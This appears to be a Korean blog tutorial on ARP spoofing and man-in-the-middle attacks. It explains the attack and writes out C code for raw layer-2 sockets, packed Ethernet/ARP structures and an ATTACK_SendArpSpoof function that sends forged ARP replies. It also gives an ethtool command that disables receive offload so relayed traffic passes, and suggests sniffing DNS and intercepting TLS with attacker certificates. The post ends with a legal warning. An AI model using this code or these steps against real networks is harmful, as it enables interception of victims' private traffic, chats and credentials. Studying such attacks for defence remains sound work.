ARP 스푸핑. 네트워크와 보안을 공부 하게되면 꼭 한번은 배우게되는 공격이다. 다른 말로는 ARP 테이블을 오염시킨다는 의미에서 ARP 포이즈닝 이라고 부르기도 한다.
개요만 짚고 넘어가자면 LAN 상에서 IP:MAC 쌍을 속이는 행위인데,
공격대상이 192.168.0.4 - AA:AA:AA:AA:AA:AA 쌍을 가지고
게이트웨이가 192.168.0.1 - BB:BB:BB:BB:BB:BB 쌍을 가진다고 할 때,
서로 IP:MAC 쌍을 교환하여 각자의 ARP테이블에 기록해두고, 앞으로 이를 참조하여 데이터를 주고받게된다.
이 둘의 통신에 192.168.0.66 - 66:66:66:66:66:66 이라는 해커가 중간에 개입하여
공격대상이 게이트웨이 주소쌍을 192.168.0.1 - 66:66:66:66:66:66 로 잘못 알도록 유도하고
게이트웨이는 공격대상의 주소를 192.168.0.4 - 66:66:66:66:66:66 으로 잘못 알도록 유도한다.
이렇게 되면 해커는 공격대상과 게이트웨이 사이에 끼어있는 형국이 되며, 이것을 바로 중간자 공격, Man In The Middle 이라고 한다. 어디서 많이 들어봤지?
주로 이 주제를 다루는 게시물들의 90% 이상은 칼리 리눅스에서 공격 실습을 진행 한다. 이것저것 공격 툴들도 많이 제공되고 있고 바로 쓰기 편하기 때문인데, 보통은 arpspoof 라는 툴과 fragrouter 라는 툴을 많이 들 이용한다.
arpspoof 는 이름 그대로 ARP 스푸핑을 해주는 툴이고, fragrouter 는 스푸핑을 통해 해커가 받은 데이터를 다른곳으로 전달해줄 용도로 사용하게된다. 하지만 이것이 과연 우리의 진짜로 가려운곳을 긁어줄까?
arpspoof 툴과 fragrouter 툴을 사용한 ARP Spoof - MITM 공격을 원한다면 다른 블로그를 한번 참조 해보길 바란다. 이 게시물에서는 이 툴을 직접 프로그램 할 것이다. 내용과 스크롤은 길어 질 것이며, 여러분의 정신건강에도 좋지 않을 수 있다. 물론 전체 코드는 제공하지 않는다. 하지만, 충분한 힌트와 시행착오를 최소화 할 수 있는 여러 팁들을 제공 해 줄 것이다.
작성되는 코드는 리눅스 베이스이다. 이전 글에서 언급 했듯이 윈도우즈엔 소켓 API의 한계가 존재하기 때문이다.
https://nitwit.tistory.com/18?category=417533
TCP 로우소켓도 안 만들어지는 OS에서 공격이라니... 드라이버 레벨까지 내려가기엔 너무 성가시다.
우선 해커 자기 자신이 어떤 MAC 주소를 가지는지 알아야 한다. 그래야 ARP 패킷에 해커 본인의 주소를 넣어, 위장 할 수 있기 때문이다. 명령어로 확인하는 방법이야 많지만 (ifconfig, ip addr 등), 깔끔하게 프로그램에서 확인 하는 방법은 다음과 같다. 작성한 소스의 #include 구문들이 깔끔하지 않아, 이는 배제하고 코드를 작성하였다.
typedef int BOOL;
typedef struct in_addr IN_ADDR; /*INET Addr*/
typedef int SOCKET;
#define TRUE (1)
#define FALSE (0)
/**
@brief 인터페이스로 IOCTL 전달
@return 성공시 TRUE, 실패시 FALSE
*/
static BOOL SendIoctl(char* InterfaceName, unsigned short nIOCTL, struct ifreq* pReq)
{
SOCKET sock;
BOOL bRet;
if (!pReq) return FALSE;
sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sock < 0) return FALSE;
memset(pReq, 0, sizeof(struct ifreq));
strcpy(pReq->ifr_name, InterfaceName);
bRet = TRUE;
if (ioctl(sock, nIOCTL, pReq) < 0) bRet = FALSE;
close(sock);
return bRet;
}
/**
@brief 인터페이스의 인덱스 넘버를 얻어온다
@remark 실패시 -1
*/
int SA_GetInterfaceIndex(char* InterfaceName)
{
struct ifreq Req;
if (!SendIoctl(InterfaceName, SIOCGIFINDEX, &Req)) return -1;
return Req.ifr_ifindex;
}
/**
@brief 인터페이스의 MAC 주소를 얻어온다
@return 성공시 TRUE, 실패시 FALSE 반환
*/
BOOL SA_GetLocalMacAddr(char* InterfaceName, unsigned char* pMAC)
{
struct ifreq Req;
if (!SendIoctl(InterfaceName, SIOCGIFHWADDR, &Req)) return FALSE;
memcpy(pMAC, Req.ifr_ifru.ifru_hwaddr.sa_data, 6); /*MAC 주소 6바이트*/
return TRUE;
}
/**
@brief 인터페이스의 IP 주소를 얻어온다
@return 성공시 TRUE, 실패시 FALSE 반환
*/
int SA_GetLocalIP(char* InterfaceName, unsigned char* pIP)
{
struct ifreq Req;
if (!SendIoctl(InterfaceName, SIOCGIFADDR, &Req)) return FALSE;
memcpy(pIP, Req.ifr_ifru.ifru_addr.sa_data + 2, 4); /*IP 주소 4바이트*/
return TRUE;
}
|
cs |
SA 라는 접두어는 그냥 소켓 어시스트라는 지어낸 약자이며, 이름은 맘대로 지어도 좋다. 이 공격을 위해서가 아니더라도, 가끔 쓸 일 있을 법 한 함수도 몇개 넣어줬다. 잘 쓰시길... ex) SA_GetLocalMacAddr("eth0", MyMac);
그리고 소켓을 열자. 2계층 소켓 말이다. 길이가 짧은 코드이거나, 참조 관계가 너무 깊어 개인적인 소스까지 뜯어오기 곤란해지는 경우에는 굳이 스크립터를 사용하지 않고 이미지로 올리겠다. 알록달록 하이라이팅이 들어가 있는편이 여러분들에겐 좀 더 읽기 좋을테니까... 짧은 소스는 직접 타이핑 하기도 쉽고.
2계층 소켓을 만들어서 적절히 위조된 ARP 프레임을 송신 할 목적이다. 그러려면 이더넷 헤더와 ARP 헤더도 만들어야 할 것이다.
/**
@brief 플랫폼별 구조체 pack 키워드 통합
*/
#ifdef WIN32
#define STRUCT_PACK_START #pragma pack(1)
#define STRUCT_PACK_END #pragma pack()
#define STRUCT_PACK_TRAILER
#elif __linux__
#define STRUCT_PACK_START
#define STRUCT_PACK_END
#define STRUCT_PACK_TRAILER __attribute__((packed))
#endif
typedef struct in_addr IN_ADDR; /*INET Addr*/
/**
@brief 이더넷 프레임 구조체
*/
STRUCT_PACK_START
typedef struct _st_802_3
{
unsigned char Dst[6]; /**< 목적지 MAC 주소*/
unsigned char Src[6]; /**< 소스 MAC 주소*/
union{
unsigned short Type; /**< 이후 데이터 타입*/
unsigned short Len; /**< 프레임 길이*/
};
} STRUCT_PACK_TRAILER IEEE_802_3, ETHERNET;
STRUCT_PACK_END
/**
@brief ARP 프로토콜 구조체
*/
STRUCT_PACK_START
typedef struct _st_ARP
{
unsigned short HardwareType; /**< 하드웨어 타입*/
unsigned short ProtocolType; /**< 프로토콜 타입*/
unsigned char HWAddrLen; /**< 하드웨어 주소 길이 (MAC 주소)*/
unsigned char PTAddrLen; /**< 프로토콜 주소 길이 (IP 주소)*/
unsigned short Opcode; /**< 명령코드*/
unsigned char SenderHWAddr[6]; /**< 송신자 MAC 주소*/
union {
unsigned char SenderPTAddr[4]; /**< 송신자 IP 주소*/
IN_ADDR SenderIPAddr; /**< 송신자 IP 주소(IN_ADDR 타입)*/
};
unsigned char TargetHWAddr[6]; /**< 타겟 MAC 주소*/
union {
unsigned char TargetPTAddr[4]; /**< 타겟 IP 주소*/
IN_ADDR TargetIPAddr; /**< 타겟 IP 주소(IN_ADDR 타입)*/
};
} STRUCT_PACK_TRAILER ARP;
STRUCT_PACK_END
|
cs |
이제 ARP 패킷을 작성할 준비는 된 것이다. 그러나 패킷을 작성하는 코드를 직접 짜는것은 여간 성가신 일이 아니다. 구조체 하나하나 다 채워넣고 대입하는 작업은 단순 반복이라 의미있는 행위도 아니다. 그래서 이 또한 만들어주자.
/*이더넷 프레임의 프로토콜타입 필드에 들어갈 값을 지정한다*/
#define ETHERNET_TYPE_XEROX 0x0600
#define ETHERNET_TYPE_IPV4 0x0800
#define ETHERNET_TYPE_X25 0x0805
#define ETHERNET_TYPE_ARP 0x0806
#define ETHERNET_TYPE_RARP 0x0835
#define ETHERNET_TYPE_DEC 0x6003
#define ETHERNET_TYPE_VLAN 0x8100
#define ETHERNET_TYPE_NOVELL 0x8137
#define ETHERNET_TYPE_NETBIOS 0x8191
#define ETHERNET_TYPE_IPV6 0x86DD
#define ETHERNET_TYPE_MPLS 0x8847
#define ETHERNET_TYPE_PPPOE_DISCOVERY 0x8863
#define ETHERNET_TYPE_PPPOE_PPP_STAGE 0x8864
#define ETHERNET_TYPE_802_1X 0x888E
#define ETHERNET_TYPE_LLDP 0x88CC
#define ETHERNET_ADDR_BROADCAST "\xFF\xFF\xFF\xFF\xFF\xFF"
/*ARP 프로토콜의 Opcode 필드에 들어갈 값을 지정한다*/
#define ARP_OPCODE_ARP_REQUEST 1
#define ARP_OPCODE_ARP_REPLY 2
#define ARP_OPCODE_RARP_REQUEST 3
#define ARP_OPCODE_RARP_REPLY 4
#define ARP_OPCODE_DRARP_REQUEST 5
#define ARP_OPCODE_DRARP_REPLY 6
#define ARP_OPCODE_DRARP_ERR 7
#define ARP_OPCODE_INARP_REQUEST 8
#define ARP_OPCODE_INARP_REPLY 9
#define ARP_HARDWARETYPE_ETHERNET 1
#if 0 /*TODO : ARP 명세를 통해 다양한 링크타입 일람 필요*/
#define ARP_HARDWARETYPE_80211 ???
#endif
#define ARP_PROTOCOLTYPE_IPV4 0x0800
#if 0 /*TODO : ARP 명세를 통해 다양한 프로토콜 타입 일람 필요*/
#define ARP_PROTOCOLTYPE_IPV6 ???
#endif
typedef struct sockaddr_ll SOCKADDR_LL;
/**
@brief 이더넷 페이로드를 작성한다
*/
void ETHERNET_WritePayload(unsigned char* pPayload, unsigned char* eth_dst, unsigned char* eth_src, unsigned short eth_type)
{
ETHERNET* eth;
eth = (ETHERNET*)pPayload;
memcpy(eth->Dst, eth_dst, 6);
memcpy(eth->Src, eth_src, 6);
eth->Type = eth_type;
}
/**
@brief ARP 페이로드 작성
@remark 프로토콜 필드의 인자들은 네트워크 바이트 오더로 채워준다
*/
void ARP_WritePayload(unsigned char* pPayload, unsigned short arp_HardwareType, unsigned short arp_ProtocolType, unsigned short arp_Opcode,
unsigned char* arp_SenderMAC, IN_ADDR arp_SenderIP,
unsigned char* arp_TargetMAC, IN_ADDR arp_TargetIP)
{
ARP* arp;
if (!pPayload) return;
arp = (ARP*)pPayload;
/*ARP 필드 채우기*/
arp->HardwareType = arp_HardwareType;
arp->ProtocolType = arp_ProtocolType;
arp->HWAddrLen = ETH_ALEN;
arp->PTAddrLen = 4;
arp->Opcode = arp_Opcode;
memcpy(arp->SenderHWAddr, arp_SenderMAC, 6);
arp->SenderIPAddr = arp_SenderIP;
memcpy(arp->TargetHWAddr, arp_TargetMAC, 6);
arp->TargetIPAddr = arp_TargetIP;
}
/**
@brief 스푸핑된 ARP 패킷을 한개 전송한다
@param sock AF_PACKET / SOCK_RAW / ETH_P_ALL 로 열린 2계층 소켓
@remark TargetMac/TargetIP 쌍에게 LocalMac/SpoofIP 쌍을 가진다고 알려줌
*/
BOOL ATTACK_SendArpSpoof(char* pInterfaceName, SOCKET sock, unsigned char* LocalMAC, unsigned char* TargetMAC, IN_ADDR TargetIP, IN_ADDR SpoofIP)
{
unsigned char Payload[1024];
ETHERNET* pETH;
ARP* pARP;
SOCKADDR_LL sa;
if (!sock) return FALSE;
pETH = (ETHERNET*)Payload;
pARP = (ARP*)(Payload+sizeof(ETHERNET));
/*TargetIP:TargetMAC이 SpoofIP를 SpoofMAC으로 알도록 함. */
ETHERNET_WritePayload((unsigned char*)pETH, TargetMAC, LocalMAC, htons(ETHERNET_TYPE_ARP));
ARP_WritePayload((unsigned char*)pARP, htons(ARP_HARDWARETYPE_ETHERNET), htons(ARP_PROTOCOLTYPE_IPV4),
htons(ARP_OPCODE_ARP_REPLY), LocalMAC, SpoofIP, TargetMAC, TargetIP);
memset(&sa, 0, sizeof(sa));
sa.sll_ifindex = SA_GetInterfaceIndex(pInterfaceName);
sa.sll_halen = ETH_ALEN; /*이더넷 주소길이 = 6*/
if (sendto(sock, Payload, sizeof(ETHERNET)+sizeof(ARP), NULL, (SOCKADDR*)&sa, sizeof(sa)) < 0) return FALSE;
return TRUE;
}
|
cs |
ATTACK_SendArpSpoof 함수 호출로 특정 IP와 특정 MAC이 쌍이라는 ARP 응답패킷을 보낼 수 있다. 여기서 특정 IP와 특정 MAC을 게이트웨이의IP : 해커의 MAC 으로 짝을 지어, 공격 대상에게 전송한다면, 공격대상은 게이트웨이로 보내야 할 패킷을 해커의 MAC으로 전송 해버리게 된다.
그럼 이제 공격대상과 게이트웨이에게 이 악의적인 패킷을 각각 전달 해주자.
ARP 포이즈닝 방어 대책이 없는 네트워크라면, 공격 즉시 공격대상의 모든 트래픽이 해커에게 넘어오게된다. 그러나 받기만 할 뿐, 지금 현재로써는 이 데이터를 가지고 아무런 작업도 하지 않기 때문에 당연히 공격대상 입장에서는 인터넷이 끊긴 것 처럼 보일 것이다. 이러면 정상적인 통신이 안되므로 유의미한 트래픽도 얻어낼 수도 없다.
딱 여기까지가 arpspoof 툴이 하는 역할이고, 이후로는 fragrouter 툴처럼 받은 데이터를 원래 가야할 자리로 다시 보내주는 일종의 릴레이 역할을 해주어야 한다.
스레드를 하나 더 만들어주자.
ARP 포이즈닝 이후, recvfrom을 호출해보면 게이트웨이와 공격대상이 보낸 데이터들을 전부 받을 수 있다. 이때 받은 데이터의 주소를 적절히 바꿔준다.
[공격대상 MAC -> 해커의 MAC] 으로 온 데이터를 [해커의 MAC -> 게이트웨이 MAC] 으로 바꿔서 sendto 해주면 된다. 물론 반대의 경우엔 역시 반대로 해주면 된다. 코드에 다 나와있다.
하지만 여기엔 큰 문제가 숨어있다. 말 그대로 "큰" 문제이다.
이더넷의 규격상 한번에 보낼 수 있는 최대 바이트수는 1514바이트이다. 왜 1514냐고?
이런 화면 많이들 보셨으리라 믿는다. 잘 보면 MTU 필드가 있는데 이 MTU라는것은 Maximum Transmission Unit. 그러니까 최대 전송 단위라는 뜻이다. 이더넷 헤더는 소스MAC 6바이트. 목적지MAC 6바이트. 하위프로토콜타입 2바이트 해서 총 14바이트를 갖는다. 그래서 MTU 1500 에 이더넷 헤더 14. 그래서 1514.
문제는 랜카드 인터페이스에서 오프로드를 지원하는경우 이보다 더 큰 데이터를 주고 받을수 있다는 것이다. 일반적으로는 더 빠르고 안정적인 통신을 기대할 수 있지만 지금은 공격자의 입장이므로 그런 기능이 오히려 발목을 잡는다.
저 스레드에서는 받은 데이터를 그대로 다시 전송해주는 역할을 하는데, 받은 데이터의 크기가 5000 바이트였다면 보낼때도 5000바이트를 보내주어야 한다. 하지만 2계층 로우소켓에는 연결의 개념이 없으므로 sendto 함수를 써야하는데 이 함수는 MTU 단위를 넘는 데이터를 보내게되면 "Too large message"(조금 다를수 있는데 하여튼 이거랑 비슷한 에러) 라는 errno 코드를 뱉으면서 실패하고 -1 를 반환한다. 별도의 작업이 없다면 이 1514바이트를 넘는 데이터를 sendto 할 수 없고 -1를 반환하게된다.
이렇게되면 공격 당하는 입장에서 웹 접속을 한다고 치면 어떤 요소는 로드 되고 어떤 요소는 로드되지 않는, 되는것도 아니고 안되는것도 아닌 상황이 펼쳐지게된다. 이러면 누가봐도 수상하다.
ethtool 명령을 사용해 -k (소문자 k는 조회) 옵션을 줌으로써 지정 인터페이스의 기능 지원 현황을 볼 수 있는데 중요한 부분은 오프로드 관련 기능이다.
ARP 공격이 제대로 먹히지 않는 것 같다 싶으면 저런 오프로드 기능이 켜져 있을 확률이 매우 높다. ethtool 의 -K (대문자 K는 수정) 옵션으로 generic-receive-offload 를 꺼주자. 줄여서 gro 라고 한다.
$ ethtool -K wlan0 gro off
이 이후로 받는 데이터의 크기는 무조건 1514바이트 이하로 들어온다. 따라서 다시 보내야 할 데이터 크기도 자연스럽게 1514바이트 이하가 되고 sendto 호출에도 문제가 없게된다. 물론 이 부분 또한 명령어가 아닌 코드로써 넣을수 있으므로, 이 부분은 여러분이 한번 스스로 연구 해 보길 바란다.
해커 입장에서 당장 와이어샤크만 켜봐도, 공격 대상이 주고받는 데이터가 모두 들어오는것을 확인 할 수 있다. 응용 예시로, DNS 패킷만 따로 로그를 떠서 이녀석이 어디를 접속하는지 등을 추적하여 무엇에 주로 관심을 갖는지를 알 수 있을것이고, TLS 핸드셰이크에 개입하여 해커가 생성한 암호화 인증서를 넘겨줌으로써 암호화통신 마저도 모두 복호화 해 볼 수 있다.
주고받는 사진, 보고있는 영상, 통화 음성, 채팅 내역, SSH 연결 모두 노출된다. 실제로 이러한 기능을 역 이용하여 방화벽으로 사용하기도 하고 심지어 팔린다.
https://firewalla.com/products/firewalla-red
저 조그만 장비 하나만 공유기에 물려놔도 ARP 스푸핑을 통해 통신 흐름을 가로챈다. 물론 좋은 일을 하기 위한 것으로 키즈 컨텐츠 필터링, 악의적인 패킷, 공격 등이 감지될경우 패킷을 통과 및 드랍 시켜주는 고마운 녀석이다.
기술은 양날의 칼이다. 어떻게 쓰느냐에 따라 빛이 될수도 있고 둠이 될수도 있다. 악용하다 걸리면 정보통신망법에 의해 참교육을 당하고 말 것이다. 이왕이면 하얀 모자를 쓰시길.
'나쁜짓' 카테고리의 다른 글
NDIS 드라이버를 통한 무선 데이터 도청 (6) | 2020.09.23 |
---|